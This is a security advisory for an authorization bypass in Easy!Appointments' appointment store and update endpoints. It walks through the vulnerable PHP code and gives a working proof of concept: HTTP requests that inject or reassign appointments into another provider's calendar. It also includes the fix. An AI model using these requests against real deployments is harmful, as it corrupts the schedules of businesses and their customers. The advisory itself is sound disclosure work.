GHSA-w8xc-8g92-v77h
Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
Quick fix
GHSA-w8xc-8g92-v77h — alextselegidis/easyappointments: upgrade to the fixed version with the command below.
composer require alextselegidis/easyappointments:^1.6.0 Details
## Summary Easy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session. A normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted. --- ## Root Cause — Step by Step Code Flow ### Step 1 — Search correctly enforces provider isolation The `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary: ```php // Appointments.php if ($role_slug === DB_SLUG_PROVIDER) { foreach ($appointments as $index => $appointment) { if ((int) $appointment['id_users_provider'] !== (int) $user_id) { unset($appointments[$index]); } } } ``` ### Step 2 — store() only checks generic add permission The store endpoint checks only whether the caller can add appointments in general — no provider ownership check: ```php // Appointments.php line 74-152 if (cannot('add', PRIV_APPOINTMENTS)) { abort(403, 'Forbidden'); } $appointment = json_decode(request('appointment'), true); ``` ### Step 3 — Attacker-controlled id_users_provider saved directly The controller whitelists and persists the appointment including the attacker-controlled provider ID: ```php $this->appointments_model->only($appointment, $this->allowed_appointment_fields); $appointment_id = $this->appointments_model->save($appointment); ``` No check is performed to verify `id_users_provider` matches the current session. ### Step 4 — Write-before-crash on store() After the unauthorized row is committed, the controller crashes on a type error: ```php $appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id ``` The attacker receives a 500 error response, but the foreign appointment row is already in the database. ### Step 5 — update() has the same missing ownership check The update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check: ```php // Appointments.php line 178-196 if (cannot('edit', PRIV_APPOINTMENTS)) { abort(403, 'Forbidden'); } $appointment = json_decode(request('appointment'), true); $appointment_id = $this->appointments_model->save($appointment); ``` A provider can reassign any appointment they can edit into a foreign provider's calendar. --- ## Proof of Concept **Attacker:** Provider with session ID `4` **Target:** Foreign provider with ID `2` **Step 1 — Inject appointment into foreign provider's schedule:** ```http POST /index.php/appointments/store HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <provider-4-session> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1} ``` Response: `500 Internal Server Error` — type error on find() **But the row is committed:** ``` id start_datetime id_users_provider notes 6 2026-05-29 15:00:00 2 foreign provider create by alicer ``` Provider 4 created a row that belongs to provider 2. --- **Step 2 — Reassign existing appointment to foreign provider:** ```http POST /index.php/appointments/update HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <provider-4-session> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1} ``` Response: `200 OK` **Result:** Appointment 7 now belongs to provider 2 instead of provider 4. **Runtime verification result:** ``` attacker provider id: 4 foreign created appointment provider id: 2 reassigned appointment provider id: 2 provider-visible appointments: 0 PASS ``` The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider. --- ## Real World Impact In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can: - Inject fake appointments into a colleague's schedule causing confusion and double-bookings - Move their own appointments into another provider's calendar to hide or offload them - Disrupt scheduling integrity for staff and customers - Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed. --- ## Suggested Fix **In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles: ```php if ($role_slug === DB_SLUG_PROVIDER) { $appointment['id_users_provider'] = $user_id; // force own provider ID } ``` **Fix the write-before-crash bug in `store()`:** ```php $appointment_id = $this->appointments_model->save($appointment); $appointment = $this->appointments_model->find($appointment_id); // use ID not array ``` --- ## Reporter **Yash Shendge (ashrexon)** 2026-05-25
Are you affected?
Enter the version of the package you're using.
Affected packages
0 Fixed in: 1.6.0 composer require alextselegidis/easyappointments:^1.6.0 References
- https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-52839 [ADVISORY]
- https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef [WEB]
- https://github.com/alextselegidis/easyappointments [PACKAGE]
- https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0 [WEB]